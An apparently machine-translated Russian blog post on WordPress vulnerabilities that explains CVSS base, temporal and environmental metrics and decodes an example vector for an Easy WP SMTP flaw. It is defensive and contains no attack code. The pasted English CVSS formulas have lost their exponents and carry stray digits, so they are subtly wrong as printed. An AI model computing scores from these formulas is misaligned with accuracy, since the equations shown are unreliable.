
Разработчики часто используют сторонний код, например JS-библиотеки, в своих плагинах и темах. К сожалению, если библиотеки не обслуживаются должным образом, они могут создавать уязвимости, которые злоумышленники могут использовать для взлома вашего веб-сайта. Использование компонентов с известными уязвимостями входит в список 10 лучших приложений OWASP.

Аудит сайта спас мой бекон! Я создал расписание аудита, чтобы Sync Pro проводил еженедельные автоматические аудиты и отправлял мне отчеты аудита по электронной почте. Я постоянно обновляю все , и поэтому был шокирован, когда во время одного из аудитов своего веб-сайта увидел, что использую библиотеки JavaScript с известными уязвимостями безопасности.

В отчете я указал на устаревшую версию jQuery в каталоге WordPress веб-сайта, усеянную известными уязвимостями! К счастью для меня, в ходе аудита сайта Sync Pro я увидел, что я использовал библиотеки JavaScript с известными уязвимостями безопасности и смог решить проблему до того, как мой сайт был взломан.

Как измерить риск уязвимости WordPress

Есть несколько типов уязвимостей WordPress, все с разной степенью риска. К счастью для нас, Национальная база данных уязвимостей - проект Национального института науки и технологий - имеет калькулятор системы оценки уязвимостей для определения риска уязвимости.

В этом разделе руководства по уязвимостям WordPress будут рассмотрены показатели и уровни серьезности системы оценки уязвимостей. Хотя этот раздел носит более технический характер, некоторые пользователи могут счесть его полезным для более глубокого понимания того, как оцениваются уязвимости WordPress и их серьезность.

Общие показатели системы оценки уязвимостей WordPress

Уравнение системы оценки уязвимости использует три различных набора оценок для определения общей оценки серьезности.

1. Базовые показатели

Группа показателей «Базовая» представляет характеристики уязвимости, которые постоянны во всех пользовательских средах.

Базовые показатели делятся на две группы: возможность использования и влияние.

1.1. Метрики использования

Оценка уязвимости зависит от того, насколько сложно злоумышленнику воспользоваться уязвимостью. Оценка рассчитывается с использованием 5 различных переменных.

1.1.1. Вектор атаки (AV)

Оценка вектора атаки основана на методе использования уязвимости. Оценка будет тем выше, чем дальше злоумышленник сможет воспользоваться уязвимостью.

Идея состоит в том, что количество потенциальных злоумышленников будет намного больше, если уязвимость может быть использована через сеть по сравнению с уязвимостью, которая требует физического доступа к эксплойту устройства.

Чем больше потенциальных злоумышленников, тем выше риск эксплуатации, и, следовательно, оценка вектора атаки, присвоенная уязвимости, будет выше.

1.1.2. Сложность атаки (AC)

Значение сложности зависит от условий, необходимых для использования уязвимости. При некоторых условиях может потребоваться сбор дополнительной информации о цели, наличии определенных параметров конфигурации системы или вычислительных исключениях.

Оценка сложности атаки будет тем выше, чем ниже сложность, необходимая для использования уязвимости.

1.1.3. Требуемые привилегии (PR)

Оценка требуемых привилегий рассчитывается на основе привилегий, которые злоумышленник должен получить перед использованием уязвимости. Мы еще немного рассмотрим это в разделе «Прошедшие проверку или не прошедшие проверку подлинности».

Если никаких привилегий не требуется, оценка будет самой высокой.

1.1.4. Взаимодействие с пользователем (UI)

Оценка взаимодействия с пользователем определяется в зависимости от того, требует ли уязвимость взаимодействия с пользователем для использования.

Оценка будет наивысшей, если злоумышленнику не требуется взаимодействия с пользователем для использования уязвимости.

1.1.5. Сфера

Оценка области действия основана на уязвимости в одном программном компоненте, которая может повлиять на ресурсы, выходящие за пределы области безопасности.

Область безопасности включает в себя другие компоненты, которые обеспечивают функциональность только этому компоненту, даже если эти другие компоненты имеют свои собственные полномочия безопасности.

Оценка является самой высокой, когда происходит изменение объема.

1.2. Показатели воздействия

Метрики воздействия отражают прямые последствия успешно использованной уязвимости.

1.2.1. Конфиденциальное воздействие (C)

Эта конфиденциальная оценка воздействия измеряет влияние на конфиденциальность информации, которой управляет эксплуатируемое программное обеспечение.

Оценка наивысшая, когда пораженное программное обеспечение несет наибольшие убытки.

1.2.2. Целостность (I)

Эта оценка целостности основана на влиянии на целостность успешно использованной уязвимости.

Наивысшая оценка достигается, когда последствия воздействия уязвимого программного обеспечения наиболее велики.

1.2.3. Доступность (A)

Оценка доступности основана на влиянии доступности используемого программного обеспечения.

Оценка является самой высокой, когда последствия затронутого компонента наиболее велики.

Расчет базового балла по шкале CVSS

Базовый балл является функцией уравнений промежуточного балла «Воздействие» и «Возможность использования». Если Базовая оценка определяется как,

 If (Impact sub score <= 0) 0 else, Scope Unchanged 4 Roundup(Minimum[(Impact+Exploitability),10]) Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10]) and the Impact subscore (ISC) is defined as, Scope Unchanged 6.42 × ISCBase Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02] 15 Where, ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)] And the Exploitability sub score is, 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction

2. Показатели временной оценки

Временные метрики измеряют текущее состояние методов эксплойтов, наличие каких-либо исправлений или обходных путей или степень уверенности в описании уязвимости.

Ожидается, что временные метрики будут меняться со временем.

2.1. Зрелость кода эксплойта (клавиша E)

Зрелость кода эксплойта зависит от вероятности атаки на уязвимость.

Чем проще можно использовать уязвимость, тем выше оценка уязвимости.

2.2. Уровень исправления (RL)

Уровень исправления уязвимости является важным фактором при расстановке приоритетов. Обходные пути или исправления могут предлагать временное исправление, пока не будет выпущено официальное исправление или обновление.

Чем менее официальное и постоянное исправление, тем выше оценка уязвимости.

2.3. Доверие к отчету (RC)

Показатель достоверности отчета измеряет уровень уверенности в существовании уязвимости и достоверность технических деталей.

Чем больше уязвимость подтверждается поставщиком или другими авторитетными источниками, тем выше оценка.

Расчет временного балла по шкале CVSS

Временная оценка определяется как,

 Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)

3. Показатели экологической оценки

Метрики среды позволяют аналитикам настраивать оценку CVSS в зависимости от важности затронутых ИТ-активов.

Метрики «Эксплуатация окружающей среды» и «Воздействие» являются модифицированным эквивалентом базовой метрики, и им присваиваются значения в зависимости от размещения компонентов инфраструктуры организации. См. Приведенные выше разделы «Базовые показатели», чтобы просмотреть значения и описания показателей «Возможность использования» и «Воздействие».

Метрики окружающей среды содержат дополнительную группу Модификаторы оценки воздействия.

3.1. Показатели модификаторов оценки воздействия

Метрики Impact Subscore Modifiers оценивают конкретные требования безопасности для конфиденциальности (CR), целостности (IR) и доступности (AR), позволяя точно настроить оценку среды в соответствии с пользовательской средой.

Расчет экологической оценки CVSS

Оценка состояния окружающей среды определяется как:

 If (Modified Impact Sub score <= 0) 0 else, If Modified Scope is Unchanged Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) If Modified Scope is Changed Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) And the modified Impact sub score is defined as, If Modified Scope is Unchanged 6.42 × [ISC Modified ] If Modified Scope is Changed 7.52 × [ISC Modified - 0.029]-3.25× [ISC Modified × 0.9731 - 0.02] 13 Where, ISC Modified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915] The Modified Exploitability sub score is, 8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction 4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.

Общий балл по CVSS и серьезность

Система оценки общей общей уязвимости или оценка CVSS представляет собой базовую, временную и экологическую оценки.

Общая оценка CVSS может использоваться, чтобы дать вам представление о том, насколько серьезна или серьезна уязвимость.

Пример оценки серьезности CVSS в реальном мире

В нашем обзоре уязвимостей за декабрь 2020 года мы сообщили об уязвимости в подключаемом модуле Easy WP SMTP. Уязвимость «нулевого дня» (мы рассмотрим уязвимости нулевого дня в следующем разделе) позволила злоумышленнику получить контроль над учетной записью администратора и использовалась в «дикой природе».

Взглянув на запись в Национальной базе данных уязвимостей, мы можем найти рейтинг серьезности уязвимости WP SMTP.

Давайте разберем пару вещей из приведенного выше снимка экрана WP SMTP NVDB.

Базовая оценка : базовая оценка составляет 7,5, что говорит о высоком уровне серьезности уязвимости.

Вектор : вектор говорит нам, что оценка основана на уравнениях уязвимости CVSS 3.1 и метриках, используемых для расчета оценки.

Вот метрическая часть вектора.

 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Теперь давайте воспользуемся значениями и описаниями базовой метрики, приведенными ранее в этом посте, чтобы понять восемь значений метрики вектора.

1. AV: N - это означает, что вектор атаки (AV) уязвимости - это Сеть (N). Другими словами, злоумышленнику нужен только доступ к сети, чтобы воспользоваться уязвимостью.
2. AC: L - Сложность атаки (AC) уязвимости низкая (L). Другими словами, любой ребенок-скрипач может воспользоваться уязвимостью.
3. PR: N - Требуемые привилегии (PR), необходимые для использования уязвимости, равны None (N). Таким образом, уязвимость не требует для использования аутентифицированного пользователя. (Мы рассмотрим разницу между уязвимостями с проверкой подлинности и без проверки подлинности позже в этом посте.)
4. UI: N - Взаимодействие с пользователем (UI), необходимое для использования этой уязвимости, - None (N). Таким образом, у злоумышленника есть возможность самостоятельно использовать уязвимость.
5. S: U - это означает, что область действия (S) уязвимости не изменилась (U). В случае этой уязвимости уязвимый компонент и затронутый компонент одинаковы.
6. C: H - Влияние уязвимости на конфиденциальность (C) высокое (H). Когда эта уязвимость используется, это приводит к полной потере конфиденциальности.
7. I: N - Влияние этой уязвимости на целостность (I) равно «Нет» (N). Когда уязвимость используется, не происходит потери целостности или надежности уязвимой информации.
8. A: N - это означает, что влияние доступности (A) равно None (N). Эксплуатация уязвимости никак не повлияет на доступность вашего веб-сайта.

Оценка CVSS может помочь нам определить серьезность и масштаб любой уязвимости. В следующих парах разделов мы рассмотрим некоторые важные термины уязвимостей, которые часто включаются в сообщения об уязвимостях.

Веб-семинар по объяснению уязвимостей WordPress

Посмотрите наш веб-семинар, посвященный той же теме.

Подведение итогов: объяснение уязвимостей WordPress

Хотя уязвимости WordPress пугают, хорошая новость заключается в том, что большинство уязвимостей WordPress обнаруживаются и исправляются до того, как злоумышленники получают возможность их использовать.

Вы можете помочь защитить свой веб-сайт от уязвимостей, обновляя ядро ​​WordPress, а также плагин и темы - лучший способ убедиться, что вы получаете последние исправления безопасности.

Майкл Мур

Каждую неделю Майкл составляет отчет об уязвимостях WordPress, чтобы обеспечить безопасность ваших сайтов. Как менеджер по продукту в iThemes, он помогает нам продолжать улучшать линейку продуктов iThemes. Он большой ботаник и любит узнавать обо всем, что есть в технологиях, старом и новом. Вы можете увидеть, как Майкл гуляет с женой и дочерью, читает или слушает музыку, когда не работает.